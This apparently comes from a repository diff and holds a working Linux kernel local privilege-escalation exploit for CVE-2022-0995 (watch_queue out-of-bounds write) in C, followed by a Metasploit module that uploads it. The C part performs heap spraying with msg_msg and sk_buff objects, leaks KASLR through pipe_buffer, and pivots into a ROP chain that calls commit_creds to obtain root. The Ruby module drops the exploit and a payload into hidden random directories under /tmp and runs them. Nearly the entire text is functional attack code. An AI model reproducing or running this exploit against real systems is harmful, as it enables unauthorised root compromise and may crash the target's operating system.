send_msg(spray, message, PRIMARY_SIZE - 0x30, 0); // Each queue has 1 96 and 1 1024 msg_msg
|
||||
|
||||
if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1)
|
||||
continue;
|
||||
|
||||
message->mtype = MTYPE_SECONDARY;
|
||||
send_msg(spray, message, SECONDARY_SIZE - 0x30, 0); // queue --next-> 96 --next-> 1024 <-queue--
|
||||
}
|
||||
}
|
||||
|
||||
void delete_msgmsg(int i, int sz, long mtype) {
|
||||
char buf[0x2000] = {0};
|
||||
get_msg(spray_qids[i], buf, sz - 0x30, mtype, IPC_NOWAIT);
|
||||
}
|
||||
|
||||
void check_corruption() {
|
||||
char buf[0x2000] = {0};
|
||||
msg *message = (msg *)buf;
|
||||
|
||||
for (int i = 0; i < MSGMSG_SPRAY; i++) {
|
||||
if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1)
|
||||
continue;
|
||||
|
||||
get_msg(spray_qids[i], buf, SECONDARY_SIZE - 0x30, 1, MSG_COPY|IPC_NOWAIT);
|
||||
|
||||
if (((uint64_t*)message->mtext)[0] != i) {
|
||||
real_idx = i;
|
||||
corrupted_idx = ((uint64_t*)message->mtext)[0];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void cleanup_msgmsg() {
|
||||
for (int i = 0; i < MSGMSG_SPRAY; i++) {
|
||||
if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1 || i == real_idx || i == corrupted_idx)
|
||||
continue;
|
||||
|
||||
msgctl(spray_qids[i], IPC_RMID, NULL);
|
||||
}
|
||||
}
|
||||
/* */
|
||||
|
||||
/*
|
||||
kmalloc-1024 spray using skbuff
|
||||
*/
|
||||
int spray_skbuff(int ss[N_SOCKS][2], const void *buf, size_t size) {
|
||||
for (int i = 0; i < N_SOCKS; i++) {
|
||||
for (int j = 0; j < N_SKBUFFS; j++) {
|
||||
if (write(ss[i][0], buf, size) < 0) {
|
||||
perror("[-] write");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int free_skbuff(int ss[N_SOCKS][2], void *buf, size_t size) {
|
||||
for (int i = 0; i < N_SOCKS; i++) {
|
||||
for (int j = 0; j < N_SKBUFFS; j++) {
|
||||
if (read(ss[i][1], buf, size) < 0) {
|
||||
perror("[-] read");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
/* */
|
||||
|
||||
void build_msgmsg(void* msg, uint64_t list_next, uint64_t list_prev, uint64_t next, uint64_t m_ts, uint64_t security, uint64_t mtype) {
|
||||
((msg_msg*)msg)->m_list_next = list_next;
|
||||
((msg_msg*)msg)->m_list_prev = list_prev;
|
||||
((msg_msg*)msg)->next = next;
|
||||
((msg_msg*)msg)->m_ts = m_ts;
|
||||
((msg_msg*)msg)->security = security;
|
||||
((msg_msg*)msg)->m_type = mtype;
|
||||
}
|
||||
|
||||
void build_rop(uint64_t* rop) {
|
||||
int k = 0;
|
||||
rop[k++] = 0x0; // dummy rbp
|
||||
rop[k++] = POP_POP_RET + kaslr_base; // skip pipe_buf->ops
|
||||
rop[k++] = 0x0; // pipe_buf->ops
|
||||
rop[k++] = 0x0; // dummy
|
||||
rop[k++] = POP_RDI_RET + kaslr_base;
|
||||
rop[k++] = 0x0; // rdi
|
||||
rop[k++] = PREPARE_KERNEL_CRED + kaslr_base;
|
||||
rop[k++] = XOR_DH_DH_RET + kaslr_base;
|
||||
rop[k++] = MOV_RDI_RAX_JNE_RET + kaslr_base;
|
||||
rop[k++] = COMMIT_CREDS + kaslr_base;
|
||||
rop[k++] = KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ + kaslr_base;
|
||||
rop[k++] = 0x0; // rax
|
||||
rop[k++] = 0x0; // rdi
|
||||
rop[k++] = user_rip; // user_rip
|
||||
rop[k++] = user_cs; // user_cs
|
||||
rop[k++] = user_rflags; // user_rflags
|
||||
rop[k++] = user_sp; // user_sp
|
||||
rop[k++] = user_ss; // user_ss
|
||||
}
|
||||
|
||||
void save_state() {
|
||||
__asm__(
|
||||
".intel_syntax noprefix;"
|
||||
"mov user_cs, cs;"
|
||||
"mov user_ss, ss;"
|
||||
"mov user_sp, rsp;"
|
||||
"pushf;"
|
||||
"pop user_rflags;"
|
||||
".att_syntax;"
|
||||
);
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
if (argc != 2){
|
||||
perror("Incorrect number of arguments provided\n");
|
||||
exit(1);
|
||||
}
|
||||
printf("Attempting to launch %s\n", argv[1]);
|
||||
exec_path = argv[1];
|
||||
printf("Trying to launch %s\n", exec_path);
|
||||
// Assign to cpu 0
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) {
|
||||
perror("sched_setaffinity()");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
save_state();
|
||||
|
||||
int fds[2];
|
||||
int nfilters = 4;
|
||||
char buf[0x2000];
|
||||
char secondary_buf[SECONDARY_SIZE - 0x140];
|
||||
|
||||
// Filter setup
|
||||
wnf_t *filter = (wnf_t*)calloc(1, sizeof(wnf_t) + nfilters * sizeof(wntf_t));
|
||||
if (!filter) {
|
||||
perror("calloc()");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/*
|
||||
STEP 1
|
||||
Spray msg_msg: for each queue one msg in kmalloc-96 and one in kmalloc-1024
|
||||
Corrupt a msg_msg.mlist.next in kmalloc-96, so that two msg_msg points to the same msg_msg in kmalloc-1024
|
||||
*/
|
||||
puts("[+] STEP 1: msg_msg corruption");
|
||||
|
||||
int ntries = 0;
|
||||
|
||||
do {
|
||||
ntries++;
|
||||
|
||||
filter->nr_filters = nfilters;
|
||||
for (int i = 0; i < (nfilters - 1); i++) { // choose kmalloc-96
|
||||
filter->filters[i].type = 1;
|
||||
}
|
||||
|
||||
// Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned
|
||||
filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024
|
||||
|
||||
if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) {
|
||||
perror("pipe2()");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Spray kmalloc-96
|
||||
spray_msgmsg();
|
||||
delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc
|
||||
delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup
|
||||
|
||||
// Filter go
|
||||
if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) {
|
||||
perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)");
|
||||
goto err;
|
||||
}
|
||||
|
||||
check_corruption();
|
||||
|
||||
if (corrupted_idx != -1)
|
||||
break;
|
||||
|
||||
cleanup_msgmsg();
|
||||
} while (ntries < CORRUPT_MSGMSG_TRIES);
|
||||
|
||||
if (corrupted_idx == -1) {
|
||||
puts("[-] couldn't corrupt msg_msg");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[*] found corrupted msg_msg after %d tries. real: %d corrupted: %d\n", ntries, real_idx, corrupted_idx);
|
||||
puts("[+] freeing corrupted msg_msg....");
|
||||
delete_msgmsg(corrupted_idx, SECONDARY_SIZE, MTYPE_SECONDARY);
|
||||
|
||||
for (int i = 0; i < N_SOCKS; i++) {
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
|
||||
perror("[-] socketpair");
|
||||
goto err;
|
||||
}
|
||||
}
|
||||
|
||||
memset(secondary_buf, 0x42, sizeof(secondary_buf));
|
||||
build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, 0x0, 8192 - 0x30, 0x0, MTYPE_FAKE);
|
||||
|
||||
puts("[+] reallocating corrupted msg_msg....");
|
||||
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
|
||||
|
||||
memset(buf, 0x0, sizeof(buf));
|
||||
get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY);
|
||||
|
||||
uint64_t primary_msg = ((uint64_t*)buf)[124];
|
||||
if ((primary_msg & 0xffff000000000000) != 0xffff000000000000) {
|
||||
puts("[-] wrong heap leak");
|
||||
goto err;
|
||||
}
|
||||
printf("[*] primary_msg: 0x%lx\n", primary_msg);
|
||||
|
||||
puts("[+] freeing corrupted msg_msg....");
|
||||
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
|
||||
|
||||
memset(secondary_buf, 0x42, sizeof(secondary_buf));
|
||||
build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, primary_msg - 8, 8192 - 0x30, 0x0, MTYPE_FAKE);
|
||||
|
||||
puts("[+] reallocating corrupted msg_msg....");
|
||||
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
|
||||
|
||||
memset(buf, 0x0, sizeof(buf));
|
||||
get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY);
|
||||
|
||||
uint64_t secondary_msg = ((uint64_t*)buf)[507];
|
||||
if ((secondary_msg & 0xffff000000000000) != 0xffff000000000000) {
|
||||
puts("[-] wrong heap leak");
|
||||
goto err;
|
||||
}
|
||||
printf("[*] secondary_msg: 0x%lx\n", secondary_msg);
|
||||
|
||||
uint64_t fake_secondary_msg = secondary_msg - SECONDARY_SIZE;
|
||||
printf("[*] corrupted secondary_msg: 0x%lx\n", fake_secondary_msg);
|
||||
puts("[+] freeing corrupted msg_msg....");
|
||||
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
|
||||
|
||||
build_msgmsg(secondary_buf, fake_secondary_msg, fake_secondary_msg, 0x0, SECONDARY_SIZE - 0x30, 0x0, MTYPE_FAKE);
|
||||
|
||||
puts("[+] reallocating corrupted msg_msg....");
|
||||
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
|
||||
|
||||
puts("[+] freeing sk_buff....");
|
||||
delete_msgmsg(real_idx, SECONDARY_SIZE, MTYPE_FAKE);
|
||||
|
||||
/*
|
||||
STEP 2
|
||||
Spray struct pipe_buffer, leak KASLR while reading and freeing sk_buffs
|
||||
*/
|
||||
puts("[+] STEP 2: KASLR leak");
|
||||
puts("[+] Spraying pipe_buffer objs...");
|
||||
|
||||
for (int i = 0; i < NUM_PIPEFDS; i++) {
|
||||
if (pipe(pipe_fds[i]) < 0) {
|
||||
perror("[-] pipe");
|
||||
goto err;
|
||||
}
|
||||
|
||||
if (write(pipe_fds[i][1], "A", 1) < 0) {
|
||||
perror("[-] write");
|
||||
goto err;
|
||||
}
|
||||
}
|
||||
|
||||
puts("[+] Leak+free pipe_buffer objs...");
|
||||
memset(secondary_buf, 0x0, sizeof(secondary_buf));
|
||||
|
||||
for (int i = 0; i < N_SOCKS; i++) {
|
||||
for (int j = 0; j < N_SKBUFFS; j++) {
|
||||
if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
|
||||
perror("[-] read");
|
||||
goto err;
|
||||
}
|
||||
|
||||
if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
|
||||
kaslr_base = ((uint64_t*)secondary_buf)[2];
|
||||
}
|
||||
}
|
||||
|
||||
if (kaslr_base == -1 || ((kaslr_base & 0xffffffff00000000) != 0xffffffff00000000)) {
|
||||
puts("[-] couldn't leak kaslr");
|
||||
goto err;
|
||||
}
|
||||
|
||||
printf("[*] kaslr leak: 0x%lx\n", kaslr_base);
|
||||
kaslr_base -= ANON_PIPE_BUF_OPS;
|
||||
printf("[*] kaslr base: 0x%lx\n", kaslr_base);
|
||||
|
||||
/*
|
||||
STEP 3
|
||||
Reallocate struct pipe_buffer overwrite _ops pointer and do stack pivoting
|
||||
*/
|
||||
puts("[+] STEP 3: Stack pivot");
|
||||
puts("[+] Reallocating pipe_buffer object....");
|
||||
|
||||
struct pipe_buf_operations *ops;
|
||||
struct pipe_buffer *pipe_buf;
|
||||
|
||||
memset(secondary_buf, 0x0, sizeof(secondary_buf));
|
||||
|
||||
pipe_buf = (struct pipe_buffer*)secondary_buf;
|
||||
ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
|
||||
ops->release = PUSH_RSI_POP_RSP_RBP_RET + kaslr_base;
|
||||
|
||||
build_rop((uint64_t*)secondary_buf);
|
||||
|
||||
pipe_buf->ops = fake_secondary_msg + 0x290;
|
||||
|
||||
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
|
||||
|
||||
puts("[+] Cleaning up msg_msgs");
|
||||
cleanup_msgmsg();
|
||||
|
||||
puts("[+] Releasing pipe_buffer objs");
|
||||
for (int i = 0; i < NUM_PIPEFDS; i++) {
|
||||
if (close(pipe_fds[i][0]) < 0) {
|
||||
perror("[-] close");
|
||||
goto err;
|
||||
}
|
||||
if (close(pipe_fds[i][1]) < 0) {
|
||||
perror("[-] close");
|
||||
goto err;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
|
||||
err:
|
||||
cleanup_msgmsg();
|
||||
return 1;
|
||||
}
|
||||
|
|
@ -0,0 +1,178 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Post::Linux::Compile
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Watch Queue Out of Bounds Write',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the Linux Kernel's watch_queue event
|
||||
notification system. It relies on a heap out-of-bounds write in kernel memory.
|
||||
The exploit may fail on the first attempt so multiple attempts may be needed.
|
||||
Note that the exploit can potentially cause a denial of service if multiple
|
||||
failed attemps occur, however this is unlikely.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Jann Horn', # discovery and poc
|
||||
'bonfee', # PoC
|
||||
'bwatters-r7' # Aka @tychos_moose, Metasploit Module
|
||||
],
|
||||
'DisclosureDate' => '2022-03-14',
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Privileged' => true,
|
||||
'References' => [
|
||||
[ 'CVE', '2022-0995' ],
|
||||
[ 'URL', 'https://github.com/Bonfee/CVE-2022-0995' ],
|
||||
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=93ce93587d36493f2f86921fa79921b3cba63fbb' ],
|
||||
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0995' ],
|
||||
[ 'PACKETSTORM', '166770' ],
|
||||
],
|
||||
'Targets' => [
|
||||
[ 'Ubuntu Linux 5.13.0-37', {} ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Reliability' => [ UNRELIABLE_SESSION ], # Not expected to get a shell every time due to heap spray sometimes not working.
|
||||
'Stability' => [ CRASH_OS_DOWN ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK ]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options [
|
||||
OptBool.new('DEBUG_SOURCE', [ false, 'Use source code with debug prints to help troubleshoot', false ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def pull_version
|
||||
kernel_data = kernel_release
|
||||
version_array = kernel_data.split('-')
|
||||
if version_array.length < 3
|
||||
print_error("Failed to parse the kernel version data: #{kernel_data}")
|
||||
return nil
|
||||
end
|
||||
vprint_status("Version array: #{version_array}")
|
||||
major_version = Rex::Version.new(version_array[0])
|
||||
vprint_status("major_version: #{major_version}")
|
||||
minor_version = version_array[1].strip unless version_array[1].nil?
|
||||
vprint_status("minor_version: #{minor_version}")
|
||||
kernel_type = version_array[2].strip unless version_array[2].nil?
|
||||
return [major_version, minor_version, kernel_type]
|
||||
end
|
||||
|
||||
def module_check
|
||||
# Vulnerable versions are under 5.17:rc8
|
||||
# This module only has offsets for Ubuntu 5.13.0-37
|
||||
if is_root? && !datastore['ForceExploit']
|
||||
fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override.')
|
||||
end
|
||||
if datastore['DEBUG_SOURCE'] && datastore['COMPILE'] != 'True'
|
||||
fail_with(Failure::BadConfig, 'DEBUG_PRINT is only supported when COMPILE is set to True')
|
||||
end
|
||||
unless kernel_version =~ /[uU]buntu/
|
||||
fail_with(Failure::NoTarget, "Unsupported Distro: '#{version}'")
|
||||
end
|
||||
arch = kernel_hardware
|
||||
unless arch.include?('x86_64')
|
||||
fail_with(Failure::NoTarget, "Unsupported architecture: '#{arch}'")
|
||||
end
|
||||
version_info = pull_version
|
||||
if version_info.nil?
|
||||
fail_with(Failure::NoTarget, 'Failed to obtain kernel version')
|
||||
end
|
||||
major_version, minor_version, kernel_type = version_info
|
||||
vulnerable_version = Rex::Version.new('5.13.0')
|
||||
unless major_version == vulnerable_version && minor_version == '37' && kernel_type.include?('generic')
|
||||
fail_with(Failure::NoTarget, "No offsets for '#{kernel_release}'")
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
# Vulnerable versions are under 5.17:rc8
|
||||
# This module only has offsets for 5.13.0-37
|
||||
vulnerable_version = Rex::Version.new('5.17.0')
|
||||
version_info = pull_version
|
||||
if version_info.nil?
|
||||
return CheckCode::Unknown('Failed to obtain kernel version')
|
||||
end
|
||||
|
||||
major_version = version_info[0]
|
||||
if major_version <= vulnerable_version
|
||||
return CheckCode::Appears
|
||||
else
|
||||
return CheckCode::Safe("The target kernel version #{major_version} is later than the last known vulnerable version aka #{vulnerable_version}")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
module_check
|
||||
base_dir = datastore['WritableDir'].to_s
|
||||
unless writable?(base_dir)
|
||||
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
|
||||
end
|
||||
|
||||
executable_name = ".#{rand_text_alphanumeric(5..10)}"
|
||||
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
exploit_path = "#{exploit_dir}/#{executable_name}"
|
||||
if file_exist?(exploit_dir)
|
||||
fail_with(Failure::BadConfig, 'Exploit dir already exists')
|
||||
end
|
||||
mkdir(exploit_dir)
|
||||
register_dir_for_cleanup(exploit_dir)
|
||||
|
||||
# Upload exploit
|
||||
if live_compile?
|
||||
vprint_status('Live compiling exploit on system...')
|
||||
if datastore['DEBUG_SOURCE']
|
||||
code = exploit_source('cve-2022-0995', 'cve-2022-0995_debug.c')
|
||||
else
|
||||
code = exploit_source('cve-2022-0995', 'cve-2022-0995.c')
|
||||
end
|
||||
upload_and_compile(exploit_path, code, '-no-pie -static')
|
||||
else
|
||||
vprint_status('Dropping pre-compiled exploit on system...')
|
||||
precompiled_binary = 'cve-2022-0995.x64.elf'
|
||||
vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")
|
||||
upload_and_chmodx(exploit_path, exploit_data('cve-2022-0995', precompiled_binary))
|
||||
end
|
||||
|
||||
register_file_for_cleanup(exploit_path)
|
||||
|
||||
# Upload payload
|
||||
payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
upload_and_chmodx(payload_path, generate_payload_exe)
|
||||
|
||||
# Launch exploit
|
||||
print_status('Launching exploit...')
|
||||
cmd_string = "#{exploit_path} #{payload_path}"
|
||||
vprint_status("Running: #{cmd_string}")
|
||||
begin
|
||||
output = cmd_exec(cmd_string)
|
||||
vprint_status(output)
|
||||
rescue Error => e
|
||||
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
|
||||
print_error("Exploit failed: #{e}")
|
||||
print_error("Ensure deletion of #{exploit_path} and #{payload_path}")
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue